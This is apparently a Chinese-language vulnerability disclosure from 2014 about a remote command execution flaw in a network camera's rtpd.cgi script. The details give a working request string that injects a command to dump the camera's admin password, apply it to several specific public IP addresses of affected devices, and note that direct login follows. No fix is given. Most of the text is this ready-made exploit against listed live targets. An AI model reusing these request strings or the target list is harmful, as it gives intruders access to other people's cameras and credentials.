漏洞详情

披露状态:

2014-09-29: 细节已通知厂商并且等待厂商处理中
2014-09-30: 厂商已经确认,细节仅向厂商公开
2014-10-10: 细节向核心白帽子及相关领域专家公开
2014-10-20: 细节向普通白帽子公开
2014-10-30: 细节向实习白帽子公开
2014-11-13: 细节向公众公开

简要描述:

/cgi-bin/xxxx.cgi 存在远程命令执行漏洞

详细说明:

获取网络摄像头账号密码,如下IP+cgi-bin/rtpd.cgi?echo&AdminPasswd_ss|tdb&get&HTTPAccount
案例
http://59.149.83.240/cgi-bin/rtpd.cgi?echo&AdminPasswd_ss|tdb&get&HTTPAccount
获取密码后,直接可登陆

1.jpg


多个IP受影响
http://101.78.142.10/cgi-bin/rtpd.cgi?echo&AdminPasswd_ss|tdb&get&HTTPAccount
http://218.253.245.125/cgi-bin/rtpd.cgi?echo&AdminPasswd_ss|tdb&get&HTTPAccount
http://59.149.83.240/cgi-bin/rtpd.cgi?echo&AdminPasswd_ss|tdb&get&HTTPAccount
http://113.255.93.243cgi-bin/rtpd.cgi?echo&AdminPasswd_ss|tdb&get&HTTPAccount

漏洞证明:

http://101.78.142.10/cgi-bin/rtpd.cgi?echo&AdminPasswd_ss|tdb&get&HTTPAccount
http://218.253.245.125/cgi-bin/rtpd.cgi?echo&AdminPasswd_ss|tdb&get&HTTPAccount
http://59.149.83.240/cgi-bin/rtpd.cgi?echo&AdminPasswd_ss|tdb&get&HTTPAccount
http://113.255.93.243cgi-bin/rtpd.cgi?echo&AdminPasswd_ss|tdb&get&HTTPAccount

修复方案:

标签: none

评论已关闭